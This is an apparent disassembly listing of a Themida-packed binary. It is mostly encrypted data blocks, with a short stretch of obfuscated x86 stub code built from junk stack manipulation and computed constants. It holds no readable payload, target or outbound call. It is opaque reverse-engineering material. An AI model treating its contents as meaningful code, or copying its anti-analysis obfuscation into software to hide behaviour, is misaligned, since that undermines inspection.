		dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 9BFC1F5h, 1566242Ch
		dd 90A11132h, 1378927Fh, 15664432h, 0E3FB9FB1h,	1A661716h
		dd 156680B6h, 72FBC932h, 0EA600676h, 0B8E3EEE1h, 96609610h
		dd 0B44E98Fh, 97694634h, 15661150h, 37CB0DF5h, 1567422Ch
		dd 98062232h, 31916487h, 0F5DB0534h, 3E606121h,	9EB1A9CCh
		dd 0B4DBC8Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h,	0FCA79636h
		dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 1378AF6Bh
		dd 1571C03Dh, 0A8E52232h, 13782263h, 1FE38732h,	0D2664432h
		dd 0B6767B7h, 15661034h, 13DFE932h, 0AF37B1A7h,	5B62871Ch
		dd 0D8D3989Fh, 0D2609610h, 1566B874h, 0FB5B2232h, 1A88FFDCh
		dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h,	15604F32h
		dd 96664432h, 0A0EF26F4h, 137833FFh, 156E71DBh,	26BECF32h
		dd 0B6767B7h, 16AED034h, 0D5A74A19h, 9CA77722h,	0B6767AFh
		dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h,	9069AA89h
		dd 1566880Bh, 156642F5h, 0D3E52232h, 0D8D39836h, 9E609610h
		dd 0B6ACDAFh, 9E6DA934h, 0D7ED71E2h, 39F0D19h, 0F5A7422Ch
		dd 58E32130h, 83600F15h, 9CA78B9Fh, 747A6076h, 15665EDBh
		dd 26344032h, 0E8F303FBh, 2E605A1Dh, 2DE22D30h,	96661132h
		dd 2E278CF0h, 0B47D5BFh, 0FDE32D34h, 9899EECDh,	3190D287h
		dd 0B0DBC934h, 0B9603C11h, 9169D1B6h, 15668834h, 0EA97AD98h
		dd 15DEDDCDh, 98661132h, 0B2A30BFh, 9C87BB34h, 0B6647BFh
		dd 433F4B34h, 19EF15B9h, 1EED422Ch, 1503A7B9h, 0F5B7172Ch
		dd 3CDF0D31h, 0E355422Ch, 0D4CB44A4h, 906513D2h, 1378AF7Fh
		dd 0D465E9A4h, 0E8DBA16Ch, 14600F19h, 155F0C3Dh, 985D4432h
		dd 137820C3h, 154B953Dh, 985D8832h, 13785067h, 1547A63Dh
		dd 985D1132h, 137896AFh, 1573C03Dh, 88EB2232h, 13431A8Ah
		dd 0EDED5BCDh, 8A3C1BBh, 0A18F242Ch, 98661134h,	306D30AFh
		dd 96B5BB34h, 0B4DDF8Fh, 91691134h, 1566882Fh, 166BC109h
		dd 9169242Ch, 1566113Eh, 0BA70D09h, 9069422Ch, 15662237h
		dd 0EA99A8DBh, 50E3B3CDh, 1A605A2Ch, 15663AB7h,	38DB9232h
		dd 15609615h, 156DC13Dh, 90EB2232h, 1342F5ADh, 0EA991DDBh
		dd 50E37FCDh, 1A603C2Ch, 0EA9998B6h, 43DB0BCDh,	146060C4h
		dd 1571A73Dh, 905D1132h, 13427E87h, 156DC13Dh, 90EB2232h
		dd 153EF792h, 0EA99E5DBh, 969977CDh, 0B55938Fh,	91691134h
		dd 15668B55h, 0E3C7C109h, 12132416h, 3AB94B9h, 2E218E2Ch
		dd 3190EDB7h, 9E615734h, 0B4554B7h, 905DCF34h, 1342B297h
		dd 90ED2547h, 1378348Fh, 0B8E3B375h, 606060C4h,	0D8E3A935h
		dd 52600F17h, 0E3D70D09h, 12134216h, 38D7A7B9h,	2E21172Ch
		dd 31903DB7h, 9E613134h, 0B412FB7h, 905D5634h, 13427E8Bh
		dd 90ED4347h, 13783D23h, 0A8E32A75h, 6060ACC4h,	10E3CF35h
		dd 52603C37h, 0E3A79409h, 12138E16h, 17A3C1B9h,	2E21242Ch
		dd 3190D4B7h, 9E61FD34h, 0B5475B7h, 905D6534h, 1342E7FFh
		dd 90ED8F47h, 13786317h, 0DCE31975h, 606035C4h,	0A0DB0B22h
		dd 15605A2Eh, 90ED2547h, 13780347h, 0C4DB0B75h,	15605A26h
		dd 905D2D46h, 1342E667h, 90ED8F47h, 1378742Fh, 0C4DBA175h
		dd 15600F1Fh, 0A8E5FA46h, 137875DBh, 2E0F5632h,	319128B7h
		dd 9E61FD34h, 0B4831B7h, 905D6534h, 1342E67Bh, 90ED8F47h
		dd 1378687Fh, 28E31975h, 606035C5h, 34E30335h, 52605A31h
		dd 0E22BA709h, 12131716h, 0EDB0DB9h, 2E21422Ch,	319173B7h
		dd 9E616434h, 0B441DB7h, 905D0334h, 1342D573h, 90ED1647h
		dd 1378BA0Fh, 50E37F75h, 606006C5h, 7CE39A35h, 5260962Dh
		dd 248FF9B1h, 1A66242Ch, 15641BB6h, 0C4E3B332h,	606060C4h
		dd 0CCE3A935h, 52600F28h, 0E2030D09h, 12134216h, 3B7BA7B9h
		dd 2E21172Ch, 31905DB7h, 9E613134h, 0B6E2FB7h, 905D5634h
		dd 13427EEBh, 90ED4347h, 1378095Bh, 0C8E32A75h,	6060ACC4h
		dd 0FCE3CF35h, 52603C2Bh, 0E3879409h, 5138E16h,	9D3F9B1h
		dd 6066242Ch, 30E39A35h, 52609636h, 0E383C109h,	12132416h
		dd 10F94B9h, 2E218E2Ch,	3190ADB7h, 96765734h, 0B7AA48Fh
		dd 12138834h, 0F4BC1B9h, 2E21242Ch, 3190FCB7h, 9E61FD34h
		dd 0B4609B7h, 905D6534h, 1342E7C3h, 90ED8F47h, 137853F3h
		dd 0ECE31975h, 606035C4h, 0A0DB0B22h, 15605A2Eh, 90ED2547h
		dd 137837C7h, 0E0E3B375h, 606060C4h, 0A0DBA122h, 15600F2Eh
		dd 90ED8F47h, 13784B1Fh, 0E8E31975h, 606035C4h,	0B4E30335h
		dd 52605A32h, 0E267A709h, 12131716h, 69F0DB9h, 2E21422Ch
		dd 319127B7h, 9E616434h, 0B5755B7h, 905D0334h, 1342D53Bh
		dd 90ED1647h, 1378A76Bh, 18E37F75h, 606006C5h, 0D8E39A35h
		dd 52609635h, 0E277C109h, 12132416h, 24DB94B9h,	2E218E2Ch
		dd 319151B7h, 9E615734h, 0B7474B7h, 905DCF34h, 1342B32Bh
		dd 90ED2547h, 13780DA3h, 0C4E3B375h, 60605A00h,	0ECE3A935h
		dd 52600F1Eh, 0E27B0D09h, 12134216h, 1BFBA7B9h,	2E21172Ch
		dd 3191D1B7h, 967F3134h, 3191438Fh, 1C131134h, 3E9B35B1h
		dd 6166422Ch, 98E3A935h, 52600F36h, 0E23B0D09h,	0C134216h
		dd 0E2079FB1h, 60661716h, 0E8DB0B3Bh, 15605A19h, 90ED2546h
		dd 137811FBh, 34E3B375h, 606060C5h, 0D4E3A935h,	52600F31h
		dd 0E2430D09h, 12134216h
		dd 857A7B9h, 2E21172Ch,	3191A1B7h, 9E613134h, 0B4897B7h
		dd 905D5634h, 13427F1Fh, 90ED4347h, 137804AFh, 24E32A75h
		dd 6060ACC5h, 0F8E3CF35h, 52603C33h, 0E2539409h, 12138E16h
		dd 0FBFC1B9h, 1E21242Ch, 10E21ECDh, 0FC668832h,	0EA99BFD8h
		dd 33F3A709h, 9069172Ch, 15668839h, 87D4C1BFh, 0C68F2416h
		dd 2E99EEC9h, 0B55A9B7h, 0DE34B34h, 96662232h, 3190478Fh
		dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
		dd 3190D5B7h, 19E22D34h, 2E661132h, 31901DB7h, 10E34B34h
		dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
		dd 905D1132h, 13427EB7h, 156DC13Dh, 90EB2232h, 153E73D6h
		dd 0EA9DE5DBh, 9CE37FCDh, 1A6006C4h, 15661AB7h,	4FE30532h
		dd 0FC661C51h, 0EA99D964h, 0E3EB9409h, 90698E16h, 15664439h
		dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
		dd 1563943Dh, 368F8832h, 9E99BBC9h, 9CD3ABC2h, 9C600F1Ch
		dd 0B487D87h, 0FC58C434h, 1540A73Dh, 6BED1132h,	9E988B33h
		dd 15A5C5ECh, 2E662272h, 0B48988Fh, 1DE48734h, 2E664432h
		dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 15BFF9B9h, 90A1242Ch
		dd 137832BBh, 15668832h, 0E0D3CD52h, 98603C1Ch,	307788AFh
		dd 1AB57734h, 156666B0h, 8FBAF32h, 0EA60328Ah, 0CBE587E1h
		dd 9E99BBCDh, 0B48D787h, 9CD39834h, 98609611h, 31224BAFh
		dd 9EB5DD34h, 0B4898B7h, 0E0E30134h, 74605A1Ch,	1B64BFBFh
		dd 0C6991717h, 58C15BFh, 0C6994217h, 156AA13Dh,	90E51132h
		dd 1378A6C7h, 0EAB8AD37h, 88EBDDCDh, 13430021h,	96695BCDh
		dd 1566443Ah, 0FC62E0B1h, 15661100h, 0AD7B15BFh, 0C6994211h
		dd 156DA13Dh, 0A0ED1132h, 1378A6C7h, 1561C4DBh,	0E0EBA932h
		dd 9C600F1Ch, 0B487D87h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
		dd 88EB77CDh, 13420055h, 0D2EDF1CDh, 15BF9419h,	90EF8E2Ch
		dd 137850D3h, 15BFA7B9h, 4531172Ch, 51BA05BFh, 0C4994216h
		dd 39BBA7B9h, 4236172Ch, 15BF0DB9h, 9836422Ch, 312329BFh
		dd 9EB7EE34h, 3EAE03E2h, 0B4A99BFh, 4DBA134h, 15600F3Ch
		dd 154D0C3Dh, 90ED4432h, 137822BFh, 1B779419h, 0D45D8E2Ch
		dd 1571C23Dh, 90ED2232h, 13780A03h, 1B770D31h, 90EF422Ch
		dd 13783FF7h, 156652DBh, 0D4EDD932h, 1A99497Ah,	9C262232h
		dd 0B669CB7h, 0FCE38934h, 0D2605A36h, 0B6833B7h, 15661134h
		dd 7D26E232h, 15665432h, 0EA664863h, 0B47ECA7h,	38F37734h
		dd 9C605A36h, 0B7D13B7h, 0D0E39834h, 4C60962Fh,	8A3F1CDh
		dd 0A099242Ch, 13783DEFh, 0CCD37765h, 98605A32h, 312FBFB7h
		dd 14B6EE34h, 0B6899BFh, 0D0DBCF34h, 9E603C2Fh,	0B4ACC87h
		dd 9EC27B34h, 0B448987h, 53A18F34h, 156611CEh, 10A64932h
		dd 0E0F34237h, 0D0E32163h, 9E600F3Ch, 0B7B4DBFh, 0B86ECD34h
		dd 159A64F5h, 9C661132h, 0B444587h, 0EA9EC734h,	1546A73Dh
		dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h,	15661132h
		dd 9C624EB1h, 0B448987h, 0E380CB34h, 0D5A7EECDh, 0D0E38B31h
		dd 96605A3Ch, 0B72438Fh, 91691034h, 156688AFh, 0BFCC7AB3h
		dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h,	0A5F12232h
		dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 137809CFh, 2BE21E33h
		dd 0AD668832h, 15664532h, 0E3FB9FB1h, 1A661716h, 156680B6h
		dd 0CBFBC932h, 0EA60067Eh, 855991E1h, 156E0C3Dh, 0D2E54432h
		dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
		dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 88DB9232h
		dd 1560ACC4h, 156EC03Dh, 88EB2232h, 13425D9Ch, 52EE5BCDh
		dd 0D0E3CF36h, 3E603C2Fh, 118E92F5h, 53A12599h,	156644CEh
		dd 0EA77CB32h, 0A0EFEECDh, 1378AAFFh, 95662C60h, 150C2232h
		dd 3A9BA4CDh, 80998E2Ch, 137859B3h, 9CEBA968h, 0D2600F3Eh
		dd 15668833h, 11A7C732h, 19EFAFBBh, 58F172Ch, 0FC9977C7h
		dd 15664296h, 9CEBA952h, 9E600F3Eh, 8CEB013Bh, 946060C4h
		dd 51326C0Ah, 9E31E7Eh,	73668832h, 59623CB3h, 5E32D1Ch
		dd 9E661132h, 13A00BC2h, 34A7C1B9h, 138F242Ch, 9E661133h
		dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
		dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
		dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h,	0EAA1A43Dh
		dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh,	6F5A1132h
		dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
		dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h,	0B7D9D87h
		dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
		dd 0B195E6B5h, 1599CFF4h, 0EBFD1BFh, 90ED242Ch,	13781683h
		dd 906948B7h, 15664428h, 3527A7F4h, 7D21172Ch, 0C1FC2FE0h
		dd 27F7F1CDh, 90EB242Ch, 134769E3h, 0EA3458CDh,	1AA6C1E2h
		dd 15661AB7h, 0C4E39A32h, 90609629h, 0FE34BF2h,	0D3662232h
		dd 0B4650B7h, 0FC0EC434h, 0EABF9E2Eh, 0B54B387h, 0C4E39C34h
		dd 0EA60A94Ah, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
		dd 8CE3CD32h, 456006C4h, 43E39C64h, 0EA60A9A3h,	1AA64FE2h
		dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h,	8CEBA952h
		dd 456035C4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 0B48B8A7h
		dd 159E8D34h, 45ED4432h, 94F3AB3Eh, 4D600F24h, 3142CCB9h
		dd 905D8519h, 137834B3h, 1576933Dh, 905D8832h, 13786A9Bh
		dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
		dd 15661516h, 10DE8832h, 98664432h, 0B2A9ABFh, 7587EE34h
		dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
		dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
		dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
		dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h,	9169EAC9h
		dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh,	4BD087CDh
		dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h,	1A98454Ch
		dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
		dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
		dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
		dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h,	0E20FC1F5h
		dd 15602416h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
		dd 9CE39A7Ch, 9E60961Ch, 0B45CDA7h, 96B8A934h, 4B6517F1h
		dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h,	96B9A3CDh
		dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
		dd 13780CC7h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E20FA7F5h
		dd 15641716h, 0CBED8832h, 9568F23Dh, 9669A2CBh,	1566113Ah
		dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
		dd 9CE3CFEBh, 9E603C1Ch, 0B4598A7h, 0CCDB0B34h,	14605A2Eh
		dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
		dd 9B8FEECDh, 0D2668832h, 31912DB7h, 15662034h,	1AB89A32h
		dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh,	95668832h
		dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 3BEF0DB9h, 80ED422Ch
		dd 137801BBh, 9BFACB1h,	1A678E2Ch, 15660CB6h, 1ABE1932h
		dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh,	0A5689B98h
		dd 1A8708B2h, 3ECC8538h
		dd 118DA1EDh, 0D3E5BAA1h, 0E0D30130h, 0D2605A1Ch, 0B7AFBB7h
		dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h,	0EA9F66DBh
		dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h,	9638D169h
		dd 0D28F40F6h, 0D299DDCBh, 319178B7h, 15668D34h, 96B8CF32h
		dd 0B6526F1h, 3BEF94B9h, 80ED8E2Ch, 137867BBh, 58DBA17Ch
		dd 14600F28h, 14650C3Dh, 0CD5D4432h, 156EA03Dh,	0CF5D1132h
		dd 154D0E3Dh, 0A0EF4432h, 13780CC7h, 0E20F8CB9h, 49678E16h
		dd 0CB8F4816h, 4A662232h, 0F2B94F5h, 15678E2Ch,	4C3D4432h
		dd 11A2A16Ch, 0EA9EE6DBh, 0CCDB0BCDh, 14605A2Eh, 15DDA63Dh
		dd 884D1132h, 1378A6BBh, 15BFC9B9h, 0DE65242Ch,	0FCE5DE19h
		dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
		dd 0E20FC1F5h, 15642416h, 0CBED1132h, 95683E3Dh, 9669C4CBh
		dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
		dd 3E661132h, 9CE303EBh, 9E605A1Ch, 0B45ABA7h, 0EA20F834h
		dd 90A177CDh, 1342B35Bh, 15662230h, 0A369CFB9h,	959F083Ch
		dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
		dd 1566DDD3h, 9EBF3A32h, 0B4801B7h, 9CF3CF34h, 96603C11h
		dd 0B7AC88Fh, 91698934h, 0EA99BAFBh, 9769FA09h,	1566113Ah
		dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh,	84CC6182h
		dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h,	157EADCAh
		dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
		db 99h
byte_59FEE9	db 4Ah,	0E5h, 0D3h	; DATA XREF: Themida_:0053A868o
		dd 44A57137h, 2960CF54h, 55E22DF1h, 29661132h, 2DE287F9h
		dd 29664432h, 2DE22DF0h, 29661132h, 25E287F8h, 73664432h
		dd 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh, 9F662232h
		dd 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh,	26661132h
		dd 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh,	15603132h
		dd 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h,	137867BBh
		dd 9069EBB7h, 15661134h, 36EF3DBBh, 0EC3F422Ch,	13ED44F1h
		dd 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h,	15FA953Dh
		dd 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh, 0D75A8832h
		dd 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h,	916961CDh
		dd 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh, 15662250h
		dd 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h,	13E21E92h
		dd 0ED668832h, 15664BDBh, 9CD3AB32h, 98600F11h,	312287AFh
		dd 0ECB5BB34h, 53ED72F1h, 0ECE39822h, 4D609624h, 987A82B1h
		dd 0B416F8Fh, 5165BC34h, 98CDAC16h, 0B6AC58Fh, 51658F34h
		dd 0BE363516h, 3CDF35BFh, 16CB422Ch, 0BE4E0676h, 9830D26Ch
		dd 312560AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 30C0D5F2h, 96A46131h, 152AA8EDh, 2429458Ah
		dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch
		dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah
		dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h
		dd 59D7BA86h, 0A370CE25h, 0DCF143AEh, 319D6532h, 0D871BA8Ch
		dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 3B38C882h,	462C701Eh
		dd 0E693DF07h, 0C6D5528Ch, 0B85E0003h, 0E9835492h, 8BA4F305h
		dd 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5073FD76h, 0C113C52h
		dd 0DDD39572h, 5163B977h, 0DF79F4B9h, 1331B575h, 5A1A3822h
		dd 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 769434F4h,	5E9832Ch
		dd 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 5E70D517h, 3FD525FBh
		dd 0F1ADFDF5h, 22915136h, 7ACFB734h, 29B723ACh,	7A1A20ADh
		dd 277975FDh, 0B67D987Ch, 0FFA073D9h, 7C0BBEEFh, 0E983C87Dh
		dd 8BA4F305h, 75BD8DDBh, 8D0624F7h, 25125C8Dh, 6644B806h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 83C08BFFh, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh
		dd 8B535019h, 411B8C0h,	85890000h, 61E0D19h, 0ACA19D8Dh
		dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h,	411B853h
		dd 85890000h, 61E0D19h,	0A9429D8Dh, 0D3FF0620h,	0C08B585Bh
		dd 72A4F2BBh, 3D04EB46h, 0E9357B44h, 51Fh, 0CE43FE83h
		dd 0F76C35B3h, 249958DCh, 4EC36209h, 7AEFB233h,	0BB3C4739h
		dd 0DC6681F6h, 0ED91AC21h, 35B8D348h, 5BF7F76Ch, 49E59F45h
		dd 0C402B73Fh, 876908ABh, 735F17C6h, 0B64F31F0h, 0DCF76C31h
		dd 598BA159h, 0FD3924D2h, 7035B9B8h, 0C4A6CD8Eh, 0D772F30Ch
		dd 0B6658C55h, 4F6D34B7h, 9419AC36h, 7C8AAD1h, 5FDD7658h
		dd 3330B496h, 0F9B83BEDh, 29C56984h, 24D2D113h,	19408539h
		dd 0AB516AA4h, 0DA5C5B0Ah, 89C1F917h, 24D27173h, 0A4A0E539h
		dd 3924D340h, 4022D116h, 405E1BA7h, 0BF5087A9h,	0DD8C1BD4h
		dd 266C8DFBh, 0BA2FF274h, 73551C9Fh, 25B004DDh,	1F38D439h
		dd 31F2D49Dh, 4AB9FF82h, 81C4F74Ch, 9005h, 0BD544F00h
		dd 0B0A266E4h, 403FEEF6h, 9ED6F4BDh, 25595C88h,	0A8BEFA39h
		dd 39255A3Ch, 0FFAED51Ah, 172D651Dh, 392559CDh,	99954489h
		dd 39255A49h, 794A9091h, 3653AA41h, 0E1EF3F03h,	2550FFE5h
		dd 51B5739h, 392550DFh,	5C0B3277h, 0C556A2A0h, 524EE581h
		dd 208C32B9h, 6DEF412h,	503924FFh, 1B45C0Bh, 0FE000000h
		dd 4A2CF573h, 886A0BB1h, 0C7A948EFh, 4E004643h,	779207AEh
		dd 7EB82DF4h, 28FFC1E7h, 2553D212h, 0C23F8439h,	1CCB8425h
		dd 2FF27364h, 6D34B44Dh, 0C1070A8Bh, 9257D7F0h,	0C643E4E3h
		dd 4B027F26h, 30208B53h, 92499C0h, 44DDBF66h, 6F1F01A0h
		dd 2F1D8CD2h, 0E881C4E8h, 5Dh, 2FF27332h, 0AC75F811h, 0FE821BFDh
		dd 0D4D15537h, 965BDC8Eh, 2BCEE721h, 5BDCDB8Ah,	9C1BB496h
		dd 0A643F3D5h, 0D303F160h, 73BC81C5h, 6000000h,	4866BD54h
		dd 1EBEC024h, 0FFAED598h, 9CBA7F00h, 0FE964E64h, 7BC03924h
		dd 1932EACCh, 2DEED095h, 3AFF7F7Eh, 0D81EBD58h,	67DC8126h
		dd 2CF57393h, 0D32DB44Ah, 0FAB3924h, 349340D7h,	8003C077h
		dd 254B6084h, 29C86B39h, 0CD128647h, 0E6559B1Eh, 81C55BE8h
		dd 0C997942Bh, 4CF38C03h, 10F59Dh, 0C0D90000h, 7D677D3Dh
		dd 0D93924F3h, 0CA8B6D94h, 1C54631Bh, 24D2DE06h, 0B6337839h
		dd 0CC4BD6DBh, 0DEDD8C0Ch, 20B99B5Ah, 9DB6D49Dh, 0C4A65518h
		dd 3DEF3556h, 45DCFABBh, 0EE9913A9h, 0CE43F267h, 3AE77B94h
		dd 29E89758h, 2F456310h, 3F42F0AEh, 0DA73559Ah,	38708E57h
		dd 6E0C222h, 0A04F9433h, 0C46D102Bh, 3BB30FA6h,	0D05C90D7h
		dd 0A5872ED1h, 0BD5335E4h, 33077025h, 0AB4D66A0h, 92D85B0Ah
		dd 1F945DE0h, 0A2C06104h, 9443E289h, 0CF9619B2h, 0CD554EDh
		dd 4BEA912Ah, 9FE5E869h, 95DBDEC5h, 23C940E3h, 6F6F758Bh
		dd 0A2E73307h, 0B1D8997Bh, 3766643Ch, 111F87E3h, 69000001h
		dd 0CFED86B3h, 0D2638197h, 0AEF33924h, 0FECBE1FFh, 223F42EFh
		dd 0DF62FBDDh, 0E386A116h, 24C76042h, 171A9B7Dh, 0D59C1FD1h
		dd 0D8EE2660h, 3306B60Ch, 0ECF80E4Ah, 6A3306B5h, 934FFE25h
		dd 87E3F195h, 274Eh, 8AB39800h,	77BDD3F1h, 7F3924D3h, 22C2583Ah
		dd 0E03924D3h, 162799DFh, 0B293F5Dh, 0EB3924D3h, 0A52731A6h
		dd 0F5000000h, 0CFED86B3h, 0F41F0097h, 2256A86Bh, 47C4D226h
		dd 0C473093Dh, 435E2DC8h, 24064B3Fh, 12CF536Ch,	0C1C06F30h
		dd 0C802773Eh, 0B96809AFh, 8C6E37BAh, 730E9F6h,	0F137D633h
		dd 80F5BC3Fh, 0C1DF94A5h, 2C431CABh, 0A53D5639h, 20C4DAF8h
		dd 362CE21Bh, 89CE42F1h, 8458EFA7h, 274F4ABh, 0B47DFBFAh
		dd 6C630605h, 5C36C90Ah, 6AA52291h, 4834D86Ch, 18B193BAh
		dd 57F0D297h, 0CF3113D6h, 0DAAE88CEh, 380173B9h, 0B8CFBE5h
		dd 82FF779h, 0E6F3D4EAh, 667F3306h, 0FF7322C3h,	30059CBAh
		dd 1B88AEDFh, 16EA5F0Eh, 0CFED86B3h, 49E70EB9h,	4BF10E3Fh
		dd 0BF479DB3h, 0CA0F32FFh, 0D900C1A3h, 2BAC24BBh, 55C0839Ch
		dd 882BC4A6h, 0D65974E9h, 56D8F10Fh, 41F0B193h,	7830C95Fh
		dd 21C5665Dh, 7F019A7Ch, 739A5BDEh, 0BC022391h,	0F233968Ch
		dd 9AC1E30Bh, 0BB6DB3B0h, 0E9047938h, 68819F46h, 7A3B1DC4h
		dd 1831E9CBh, 1E1DCC95h, 5BF4D69Fh, 9B3416DBh, 0F172541Dh
		dd 0FACEA8EEh, 5EE193D9h, 64072297h, 0E0869FBDh, 0EB9A5B3Dh
		dd 38109h, 7F4F0000h, 33EE73A7h, 6C35B851h, 0A84DF18Ah
		dd 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh,	0E18024BDh
		dd 1FC666FFh
		db 3Dh,	0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	39E9h
		mov	[esp], eax
		push	1D37h
		mov	[esp], ecx
		mov	eax, 3F21D81h
		dec	eax
		dec	eax
		push	esi
		mov	esi, 6D5961F2h
		and	esi, 38F4600Eh
		not	esi
		add	esi, 2E276E92h
		xor	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	70D6h
		mov	[esp], eax
		pop	dword ptr [ecx+8]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		dd 0A58BA6D3h, 0B870987Bh, 625188Ah, 0E0FFC503h, 2462BFD6h
		dd 5E279368h, 62A7E190h, 0AE8h,	198CD700h, 0DB3B86C7h
		dd 6001D4FBh, 19BE6653h, 61F8581Ah, 0F780505Fh,	0C781590Ah
		dd 63CAh, 0BE61FC60h, 0EF09B2Bh, 7DA8C681h, 26BBF10Fh
		dd 8B65A982h, 5E817h, 0EB120000h, 0FD242EBh, 188h, 8159F500h
		dd 7AB176C2h, 3DD9816Bh, 816CE480h, 0C8C41FF2h,	0B5C18129h
		dd 8162EEC0h, 5F7A4CEAh, 81178963h, 0D79D4FD0h,	4EF831Dh
		dd 79E08166h, 850F4E86h, 0FFFFFFB7h, 18A0Fh, 0EBFC0000h
		dd 8, 4EC44F00h, 543E96Fh, 0D5680000h, 0E906251Ah, 0FFF965DBh
		dd 251B4B68h, 65D1E906h, 0D068FFF9h, 0E906251Ch, 0FFF965C7h
		dd 0E65B069Bh, 0F842DCBh, 3CB170F4h, 66DB9A21h,	9207AA4Bh
		dd 0D3545F51h, 0E47E990Eh, 5A9C439h, 2DD0EB60h,	730F0F84h
		dd 49EB875Dh, 421ACF3Fh, 112FF273h, 2B170F8h, 3DE48720h
		dd 274CEDC8h, 2AB8D109h, 1DCC8D6Fh, 42DB3C21h, 0C5CB623Fh
		dd 6F8845C2h, 0B4F96D1Ch, 36FF7D96h, 753CBB54h,	0FCABD293h
